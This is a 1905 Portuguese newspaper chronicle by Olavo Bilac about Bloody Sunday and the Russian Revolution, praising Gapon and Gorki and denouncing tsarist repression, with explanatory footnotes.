Revolução
Russa – Crônica de Olavo Bilac
Não
houve, durante a semana, assunto de interesse local que cativasse as almas. O
que as cativou, agitando-as em alternativas de cólera, de piedade, de furor e
de dó, foi um assunto de interesse "humano": a tragédia da Revolução
Russa, concentrando nas ruas de Petersburgo a atenção e ansiedade de todos os
homens civilizados do planeta.
E nem houve quem pudesse pensar nos seus
próprios sofrimentos: a explosão revolucionária do sofrimento daquele povo,
expandido em cólera, foi uma dessas raras crises morais em que todas as raças,
a um tempo, sentem que estão empenhados o seu futuro e a sua dignidade. O que
ali se revoltava era, de fato, a dignidade humana, era o orgulho humano, era a
humana c indomável aspiração de liberdade e de justiça.
A organização social da Rússia é um crime, é a
vergonha do século. Não se trata aqui de um sentimentalismo doentio: trata-se
de uma revolta justa, a que homem nenhum de inteligência e de coração se pode
forrar. Manter uma porção da humanidade na ignorância, na escravidão e no
embrutecimento é um atentado que ofende a toda a comunhão: e a chicotada
infamante que corta as carnes dos mais humildes dos tmijiks2 russos
atinge e infama toda a espécie.
A esta hora parece que a revolução foi sufocada. Até
quando?…
Em Petersburgo já a neve, caída do céu
impassível, estendeu o seu manto piedoso sobre a terra manchada de sangue,
cobrindo as poças vermelhas, em que se esgotou o desespero dos oprimidos. Mas,
sob a toalha da neve, o sangue está vivendo c palpitando, sementeira da
vingança e da desafronta. E não haverá neve bastante
para aniquilar esses germes.
Os cárceres já devem estar cheios. E, de cidade
em cidade, a polícia fareja e esquadrinha todas as casas, a procura dos dous
homens que dirigiram a revolução: Gapon e Gorki.3
O primeiro pertence a essa classe, dos popes, a quem
já Dostoiévski nos Irmãos Karamazov vaticinava o papel de. chefes do
inevitável e vingador levante. O mujik analfabeto, ingênuo, embrutecido
pelo trabalho e pelo sofrimento, tem no pope o seu conselheiro único, o
seu único amigo. O pope vive em contato direto, diário e completo com o
povo: só ele conhece bem a fome, o abandono, a miséria física e moral, o
desamparo cm que vive aquele triste rebanho humano; e o pope é também
desprezado e humilhado, como o povo…
O segundo dos chefes do movimento foi o sombrio escritor
revolucionário, o romancista da Treva e do Sofrimento, cujos livros são um
monumento sinistro, erguidos para honrar a agonia de um povo. Gorki é hoje
talvez a primeira força intelectual da Rússia, depois de Tolstoi. E Tolstoi,
velho, mergulhado num misticismo doentio, já não lhe faz sombra. O verdadeiro e
único apóstolo russo é Gorki — em cujos romances, cheios de fel, de
ironia, de amargo sarcasmo, se contorcem e rugem as figuras de todos os
deserdados, de todos os oprimidos, de todos os rebelados.
Gorki
nunca teve olhos para ver nem pena para descrever o luxo insolente da corte,
as sedas e os amores das grandes damas, a futilidade e o servilismo dos
cortesaos, a vida regalada dos príncipes: o seu talento nasceu da dor e do
desespero; a sua vida tem corrido como um fio de lágrimas, incorporando-se ao
grande rio em que tumultua c ferve o pranto de toda a Rússia escrava. O que
arde e vibra nos seus livros é a tortura sem nome de todos aqueles milhões de
homens, estudada ao vivo, narrada em palavras cuja leitura queima os olhos da
gente. Gorki é o continua-dor de Dostoiévski: é, como este, o historiador da
escravidão política da Rússia.
Se ele descreve tão bem os antros medonhos, as pocilgas
infectas, a vagabundagem, a rapinagem, a embriaguez embrutecedora a que a
tirania atira aquela gente infeliz é porque também como ela padeceu fome
e frio, como ela dormiu ao ar livre, sob a neve, e como ela também cm vão pediu
uma esmola, sempre negada…
Agora, popular, vitorioso, disputado pelos
editores, tendo conquistado uma celebridade que transpôs as fronteiras russas
e se impôs a toda a Europa — Gorki não renega o lodo em que nasceu, E, quando
viu que o povo — a sua gente, a multidão inumerável dos seus irmãos de opróbrio
— era chicoteado e fuzilado nas ruas, o romancista abandonou a contemplação
pela ação, e foi alistar-se nas fileiras dos que morriam.
A Morte não o quis — felizmente. O seu cérebro e
o seu coração são agora, mais do que nunca, necessários à grande causa. No
exílio ou no cárcere, eles continuarão a pensar e a sentir.
Se a polícia o encontrar, Gorki irá conhecer de perto a
Sibéria assassina, a devoradora de vidas. Dostoiévski também a conheceu: foi
de lá que ele trouxe aquelas sinistras Memórias da casa dos mortos, cujos
capítulos competem, em trágico horror, com os cantos mais terríveis do Inferno
de Dante. Mas Dostoiévski morreu sem ter visto arrasada a Casa maldita.
E a Gorki ela não há de sobreviver: os seus dias estão contados — porque, como
escrevia há pouco Tolstoi, no seu estilo bíblico, "a taça das iniqüidades
está cheia…".
Entre os pormenores da luta, comunicados pelo telégrafo, há
um que caracteriza bem a crueza da tirania russa.
Quando os operários tentaram invadir o palácio para falar ao
czar, os cossacos receberam-nos a chicote, e depois a bala.
Antes da morte, o aviltamento. Das prisões, dos presídios,
das penitenciárias, das casas de correção de toda a terra, já a pena das
chicotadas foi abolida. Mas, na Rússia, ainda o chicote é a arma predileta do
despotismo, a defesa melhor da autocracia.
O chicote não castiga apenas fisicamente. *É a
imposição da infâmia, além de ser a imposição da dor. Quando retalham as
carnes de um pobre-diabo, as pontas de couro e ferro do knout estão
dizendo à vítima: "Lembra-tc que não és homem, como o Senhor a quem
ofendes! és uma besta de carga, um animal inferior, sem inteligência nem
vontade! não és digno da forca, nem da guilhotina, nem das balas: és só digno
do chicote, com que se castigam os cães que ladram e os burros que empacam.
Revoltas-te? morrerás infamado, como nasceste: infamado no berço pela falta de
nobreza, infamado na morte pelo chicote!".
Ah! o que consola é que as chicotadas, com que
os guardas do Palácio receberam os operários russos, foram talvez as últimas.
A besta de carga está cansada de sofrer; o cão, cansado de
ladrar, mostra os dentes para morder; o burro, cansado de empacar, atira as
patas, num coice de protesto…
Em vão a neve piedosa quer esconder o sangue dos mártires:
aquele sangue está pedindo mais sangue — e antes do fim do primeiro quartel do
século, o povo russo há de ser incorporado à civilização, e a tirania há de morrer,
afogada no mesmo sangue que derramou.
O.
B.
Gazeta de Notícias 29/1/1905
1 A repressão sangrenta a
um proresto pacífico contra a política do czar
Nicolau II foi o estopim da Revolução Russa, ocorrida em janeiro de 1905.
2 Camponês.
3 Georgi Apollonovirch Gapon(e)
(1870-1906): socialista de tendência cristã. Gapone ficou celebre ao encabeçar
o Domingo Vermelho, em janeiro de 1905. Por suas idéias revolucionárias, foi
obrigado a se refugiar na
Finlândia, onde acabou assassinado.
Máximo Gorki (1868-1936): escritor
russo de tendência socialista, Gorki envolveu-se fundo na política de
seu país, o que lhe custou mais de uma expatríaçáo.
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